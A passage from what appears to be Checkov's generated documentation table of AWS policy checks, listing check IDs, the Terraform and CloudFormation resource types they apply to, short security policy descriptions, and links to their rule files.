[ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml)                                                                         |\n|  899 | CKV2_AWS_20              | resource                         | aws_alb_listener                                                                                 | Ensure that ALB redirects HTTP requests into HTTPS ones                                                                                                                                                  | Terraform               | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml)                                                                         |\n|  900 | CKV2_AWS_20              | resource                         | aws_lb                                                                                           | Ensure that ALB redirects HTTP requests into HTTPS ones                                                                                                                                                  | Terraform               | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml)                                                                         |\n|  901 | CKV2_AWS_20              | resource                         | aws_lb_listener                                                                                  | Ensure that ALB redirects HTTP requests into HTTPS ones                                                                                                                                                  | Terraform               | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml)                                                                         |\n|  902 | CKV2_AWS_21              | resource                         | aws_iam_group_membership                                                                         | Ensure that all IAM users are members of at least one IAM group.                                                                                                                                         | Terraform               | [IAMUsersAreMembersAtLeastOneGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMUsersAreMembersAtLeastOneGroup.yaml)                                                     |\n|  903 | CKV2_AWS_22              | resource                         | aws_iam_user                                                                                     | Ensure an IAM User does not have access to the console                                                                                                                                                   | Terraform               | [IAMUserHasNoConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMUserHasNoConsoleAccess.yaml)                                                                     |\n|  904 | CKV2_AWS_23              | resource                         | aws_route53_record                                                                               | Route53 A Record has Attached Resource                                                                                                                                                                   | Terraform               | [Route53ARecordAttachedResource.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ARecordAttachedResource.yaml)                                                           |\n|  905 | CKV2_AWS_27              | resource                         | aws_rds_cluster                                                                                  | Ensure Postgres RDS as aws_rds_cluster has Query Logging enabled                                                                                                                                         | Terraform               | [PostgresRDSHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresRDSHasQueryLoggingEnabled.yaml)                                                     |\n|  906 | CKV2_AWS_27              | resource                         | aws_rds_cluster_parameter_group                                                                  | Ensure Postgres RDS as aws_rds_cluster has Query Logging enabled                                                                                                                                         | Terraform               | [PostgresRDSHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresRDSHasQueryLoggingEnabled.yaml)                                                     |\n|  907 | CKV2_AWS_28              | resource                         | aws_alb                                                                                          | Ensure public facing ALB are protected by WAF                                                                                                                                                            | Terraform               | [ALBProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBProtectedByWAF.yaml)                                                                                     |\n|  908 | CKV2_AWS_28              | resource                         | aws_lb                                                                                           | Ensure public facing ALB are protected by WAF                                                                                                                                                            | Terraform               | [ALBProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBProtectedByWAF.yaml)                                                                                     |\n|  909 | CKV2_AWS_29              | resource                         | aws_api_gateway_rest_api                                                                         | Ensure public API gateway are protected by WAF                                                                                                                                                           | Terraform               | [APIProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIProtectedByWAF.yaml)                                                                                     |\n|  910 | CKV2_AWS_29              | resource                         | aws_api_gateway_stage                                                                            | Ensure public API gateway are protected by WAF                                                                                                                                                           | Terraform               | [APIProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIProtectedByWAF.yaml)                                                                                     |\n|  911 | CKV2_AWS_30              | resource                         | aws_db_instance                                                                                  | Ensure Postgres RDS as aws_db_instance has Query Logging enabled                                                                                                                                         | Terraform               | [PostgresDBHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresDBHasQueryLoggingEnabled.yaml)                                                       |\n|  912 | CKV2_AWS_30              | resource                         | aws_db_parameter_group                                                                           | Ensure Postgres RDS as aws_db_instance has Query Logging enabled                                                                                                                                         | Terraform               | [PostgresDBHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresDBHasQueryLoggingEnabled.yaml)                                                       |\n|  913 | CKV2_AWS_31              | resource                         | aws_wafv2_web_acl                                                                                | Ensure WAF2 has a Logging Configuration                                                                                                                                                                  | Terraform               | [WAF2HasLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/WAF2HasLogs.yaml)                                                                                                 |\n|  914 | CKV2_AWS_32              | resource                         | aws_cloudfront_distribution                                                                      | Ensure CloudFront distribution has a response headers policy attached                                                                                                                                    | Terraform               | [CloudFrontHasResponseHeadersPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontHasResponseHeadersPolicy.yaml)                                                   |\n|  915 | CKV2_AWS_33              | resource                         | AWS::AppSync::GraphQLApi                                                                         | Ensure AppSync is protected by WAF                                                                                                                                                                       | Cloudformation          | [AppSyncProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/AppSyncProtectedByWAF.yaml)                                                                            |\n|  916 | CKV2_AWS_33              | resource                         | aws_appsync_graphql_api                                                                          | Ensure AppSync is protected by WAF                                                                                                                                                                       | Terraform               | [AppSyncProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppSyncProtectedByWAF.yaml)                                                                             |\n|  917 | CKV2_AWS_34              | resource                         | aws_ssm_parameter                                                                                | AWS SSM Parameter should be Encrypted                                                                                                                                                                    | Terraform               | [AWSSSMParameterShouldBeEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSSSMParameterShouldBeEncrypted.yaml)                                                       |\n|  918 | CKV2_AWS_35              | resource                         | aws_route                                                                                        | AWS NAT Gateways should be utilized for the default route                                                                                                                                                | Terraform               | [AWSNATGatewaysshouldbeutilized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSNATGatewaysshouldbeutilized.yaml)                                                           |\n|  919 | CKV2_AWS_35              | resource                         | aws_route_table                                                                                  | AWS NAT Gateways should be utilized for the default route                                                                                                                                                | Terraform               | [AWSNATGatewaysshouldbeutilized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSNATGatewaysshouldbeutilized.yaml)                                                           |\n|  920 | CKV2_AWS_36              | resource                         | aws_ssm_parameter                                                                                | Ensure terraform is not sending SSM secrets to untrusted domains over HTTP                                                                                                                               | Terraform               | [HTTPNotSendingPasswords.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml)                                                                         |\n|  921 | CKV2_AWS_36              | resource                         | data.http                                                                                        | Ensure terraform is not sending SSM secrets to untrusted domains over HTTP                                                                                                                               | Terraform               | [HTTPNotSendingPasswords.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml)                                                                         |\n|  922 | CKV2_AWS_37              | resource                         | aws                                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  923 | CKV2_AWS_37              | resource                         | aws_accessanalyzer_analyzer                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  924 | CKV2_AWS_37              | resource                         | aws_accessanalyzer_archive_rule                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  925 | CKV2_AWS_37              | resource                         | aws_account_alternate_contact                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  926 | CKV2_AWS_37              | resource                         | aws_account_primary_contact                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  927 | CKV2_AWS_37              | resource                         | aws_account_region                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  928 | CKV2_AWS_37              | resource                         | aws_acm_certificate                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  929 | CKV2_AWS_37              | resource                         | aws_acm_certificate_validation                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  930 | CKV2_AWS_37              | resource                         | aws_acmpca_certificate                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  931 | CKV2_AWS_37              | resource                         | aws_acmpca_certificate_authority                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  932 | CKV2_AWS_37              | resource                         | aws_acmpca_certificate_authority_certificate                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  933 | CKV2_AWS_37              | resource                         | aws_acmpca_permission                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  934 | CKV2_AWS_37              | resource                         | aws_acmpca_policy                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  935 | CKV2_AWS_37              | resource                         | aws_alb                                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  936 | CKV2_AWS_37              | resource                         | aws_alb_listener                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  937 | CKV2_AWS_37              | resource                         | aws_alb_listener_certificate                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  938 | CKV2_AWS_37              | resource                         | aws_alb_listener_rule                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  939 | CKV2_AWS_37              | resource                         | aws_alb_target_group                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  940 | CKV2_AWS_37              | resource                         | aws_alb_target_group_attachment                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  941 | CKV2_AWS_37              | resource                         | aws_ami                                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  942 | CKV2_AWS_37              | resource                         | aws_ami_copy                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  943 | CKV2_AWS_37              | resource                         | aws_ami_from_instance                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  944 | CKV2_AWS_37              | resource                         | aws_ami_launch_permission                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  945 | CKV2_AWS_37              | resource                         | aws_amplify_app                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  946 | CKV2_AWS_37              | resource                         | aws_amplify_backend_environment                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  947 | CKV2_AWS_37              | resource                         | aws_amplify_branch                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  948 | CKV2_AWS_37              | resource                         | aws_amplify_domain_association                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  949 | CKV2_AWS_37              | resource                         | aws_amplify_webhook                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  950 | CKV2_AWS_37              | resource                         | aws_api_gateway_account                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  951 | CKV2_AWS_37              | resource                         | aws_api_gateway_api_key                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  952 | CKV2_AWS_37              | resource                         | aws_api_gateway_authorizer                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  953 | CKV2_AWS_37              | resource                         | aws_api_gateway_base_path_mapping                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  954 | CKV2_AWS_37              | resource                         | aws_api_gateway_client_certificate                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  955 | CKV2_AWS_37              | resource                         | aws_api_gateway_deployment                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  956 | CKV2_AWS_37              | resource                         | aws_api_gateway_documentation_part                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  957 | CKV2_AWS_37              | resource                         | aws_api_gateway_documentation_version                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  958 | CKV2_AWS_37              | resource                         | aws_api_gateway_domain_name                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  959 | CKV2_AWS_37              | resource                         | aws_api_gateway_domain_name_access_association                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  960 | CKV2_AWS_37              | resource                         | aws_api_gateway_gateway_response                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  961 | CKV2_AWS_37              | resource                         | aws_api_gateway_integration                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  962 | CKV2_AWS_37              | resource                         | aws_api_gateway_integration_response                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  963 | CKV2_AWS_37              | resource                         | aws_api_gateway_method                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  964 | CKV2_AWS_37              | resource                         | aws_api_gateway_method_response                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  965 | CKV2_AWS_37              | resource                         | aws_api_gateway_method_settings                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  966 | CKV2_AWS_37              | resource                         | aws_api_gateway_model                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  967 | CKV2_AWS_37              | resource                         | aws_api_gateway_request_validator                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  968 | CKV2_AWS_37              | resource                         | aws_api_gateway_resource                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  969 | CKV2_AWS_37              | resource                         | aws_api_gateway_rest_api                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  970 | CKV2_AWS_37              | resource                         | aws_api_gateway_rest_api_policy                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  971 | CKV2_AWS_37              | resource                         | aws_api_gateway_stage                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  972 | CKV2_AWS_37              | resource                         | aws_api_gateway_usage_plan                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  973 | CKV2_AWS_37              | resource                         | aws_api_gateway_usage_plan_key                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  974 | CKV2_AWS_37              | resource                         | aws_api_gateway_vpc_link                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  975 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_api                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  976 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_api_mapping                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  977 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_authorizer                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  978 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_deployment                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  979 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_domain_name                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  980 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_integration                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  981 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_integration_response                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  982 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_model                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  983 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_route                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  984 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_route_response                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  985 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_stage                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  986 | CKV2_AWS_37              | resource                         | aws_apigatewayv2_vpc_link                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  987 | CKV2_AWS_37              | resource                         | aws_app_cookie_stickiness_policy                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  988 | CKV2_AWS_37              | resource                         | aws_appautoscaling_policy                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | 